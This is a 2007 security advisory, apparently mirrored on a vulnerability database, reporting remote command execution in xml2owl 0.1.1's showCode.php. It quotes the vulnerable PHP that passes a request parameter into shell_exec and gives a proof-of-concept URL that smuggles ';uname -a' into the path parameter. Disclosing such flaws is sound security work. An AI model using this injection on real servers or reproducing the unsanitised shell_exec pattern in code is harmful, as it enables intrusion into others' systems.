xml2owl 0.1.1 showCode.php Remote Command Execution Vulnerability

🗓️ 28 Dec 2007 00:00:00Reported by RootType
xml2owl 0.1.1 showCode.php Remote Command Execution Vulnerability on inj3ct-it.or

                                                ---------------------------------------------------------------
&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;&nbsp;__&nbsp;&nbsp;
/_&nbsp;&nbsp;&nbsp;|&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|__\_____&nbsp;&nbsp;\&nbsp;&nbsp;_____/&nbsp;&nbsp;|_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/_&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;|_
&nbsp;|&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|&nbsp;_(__&nbsp;&nbsp;&lt;_/&nbsp;___\&nbsp;&nbsp;&nbsp;__\&nbsp;&nbsp;______&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;__\
&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\___|&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;/_____/&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;||&nbsp;&nbsp;|&nbsp;
&nbsp;|___|___|&nbsp;&nbsp;/\__|&nbsp;&nbsp;/______&nbsp;&nbsp;/\___&nbsp;&nbsp;&gt;__|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|___||__|&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\______|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
---------------------------------------------------------------

Http://www.inj3ct-it.org&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Staff[at]inj3ct-it[dot]org&nbsp;&nbsp;&nbsp;

---------------------------------------------------------------

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Remote&nbsp;Command&nbsp;Execution

---------------------------------------------------------------

#&nbsp;Author:&nbsp;MhZ91
#&nbsp;Title:&nbsp;xml2owl-0.1.1&nbsp;-&nbsp;Remote&nbsp;Command&nbsp;Execution
#&nbsp;Download:&nbsp;http://surfnet.dl.sourceforge.net/sourceforge/xml2owl/xml2owl-0.1.1.tar.bz2
#&nbsp;Bug:&nbsp;Remote&nbsp;Command&nbsp;Execution
#&nbsp;Info:&nbsp;Up&nbsp;to&nbsp;now,&nbsp;most&nbsp;ontologies&nbsp;are&nbsp;created&nbsp;manually,&nbsp;which&nbsp;is&nbsp;very&nbsp;time-expensive.&nbsp;The&nbsp;goal&nbsp;is&nbsp;it,&nbsp;to&nbsp;produce&nbsp;ontologies&nbsp;automatically&nbsp;via&nbsp;XSLT,&nbsp;which&nbsp;fit&nbsp;as&nbsp;good&nbsp;as&nbsp;possible&nbsp;to&nbsp;a&nbsp;given&nbsp;XML-file&nbsp;resp.&nbsp;XML-Schema-file
#&nbsp;Visit:&nbsp;http://www.inj3ct-it.org

---------------------------------------------------------------

In&nbsp;the&nbsp;file&nbsp;showCode.php&nbsp;there&nbsp;is&nbsp;this...&nbsp;

&lt;?
	$xml2html&nbsp;=&nbsp;&quot;xsl/xmlverbatim.xsl&quot;;
	$path&nbsp;=&nbsp;$_REQUEST['path'];&nbsp;&lt;-&nbsp;
	
&nbsp;&nbsp;if(class_exists('XSLTProcessor'))&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$xsl&nbsp;=&nbsp;new&nbsp;XSLTProcessor();
&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;$res&nbsp;=&nbsp;DOMDocument::load($path);
&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;$xsl-&gt;importStylesheet(DOMDocument::load($xml2html));
&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;$xsl-&gt;transformToXML($res);
&nbsp;&nbsp;}
&nbsp;&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$exec_string&nbsp;=&nbsp;&quot;xsltproc&nbsp;&quot;&nbsp;.&nbsp;$xml2html&nbsp;.&nbsp;&quot;&nbsp;&quot;&nbsp;.&nbsp;$path;&nbsp;&lt;-
&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;shell_exec($exec_string);&nbsp;&lt;-
&nbsp;&nbsp;}
?&gt;

We&nbsp;can&nbsp;modify&nbsp;the&nbsp;$path&nbsp;variable..&nbsp;and&nbsp;give&nbsp;a&nbsp;remote&nbsp;command&nbsp;execution&nbsp;by&nbsp;the&nbsp;function&nbsp;shell_exec..&nbsp;

Type&nbsp;http://www.site.com/showCode.php?path=;uname&nbsp;-a

...&nbsp;

---------------------------------------------------------------
28 Dec 2007 00:00Current
7.1High risk
Vulners AI Score7.1